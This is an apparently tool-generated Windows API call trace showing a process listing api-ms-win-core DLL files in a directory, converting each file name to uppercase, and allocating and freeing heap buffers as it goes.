[0180.680] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.680] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.680] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-core-heap-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.680] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.680] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0180.680] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x49c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0180.680] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.680] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.680] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.680] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.680] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.680] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d078a1c, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d078a1c, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-core-interlocked-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.680] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.680] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0180.680] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0x49c120, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 38 [0180.680] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.680] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.680] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.680] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.680] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.680] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-core-io-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.680] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.680] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0180.680] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.680] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0x49c288, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 29 [0180.680] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.681] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.681] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.681] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.681] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.681] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-core-libraryloader-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.681] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.681] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0180.681] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x49c120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0180.681] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.681] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.681] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.681] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.681] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.681] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.681] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.681] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0180.681] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x49c288, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0180.681] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.681] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.681] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.681] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.681] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.681] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85502d0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb85502d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="")) returned 1 [0180.681] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.681] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0180.681] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.681] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0x49c120, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0180.681] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.681] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.681] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.681] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.681] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.681] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-core-localregistry-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.682] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.682] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0180.682] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x49c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0180.682] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.682] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.682] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.682] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.682] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.682] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0eae39, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0eae39, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-core-memory-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.682] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.682] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0180.682] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x49c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0180.682] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.682] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.682] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.682] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.682] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.682] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1833b5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1833b5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-core-misc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.682] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.682] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0180.682] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x49c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0180.682] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.682] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.682] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.682] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.682] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.682] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-core-namedpipe-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.682] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.682] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.682] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0180.683] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x49c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0180.683] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.683] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.683] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.683] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.683] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.683] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-core-processenvironment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.683] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.683] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0180.683] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0x49c288, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 45 [0180.683] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.683] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.683] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.683] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.683] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.683] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-0.dll", cAlternateFileName="")) returned 1 [0180.683] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.683] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0180.683] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0x49c120, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 41 [0180.683] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.683] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0180.683] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 [0180.683] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e950) returned 1 [0180.683] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49e8c8) returned 1 [0180.683] FindNextFileW (in: hFindFile=0x5cfd68, lpFindFileData=0x177f8fc | out: lpFindFileData=0x177f8fc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x5ce300, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="")) returned 1 [0180.683] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e8c8 [0180.683] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49e950 [0180.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0180.683] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c288 [0180.683] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0x49c288, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", lpUsedDefaultChar=0x0) returned 41 [0180.683] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0180.683] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c288) returned 1 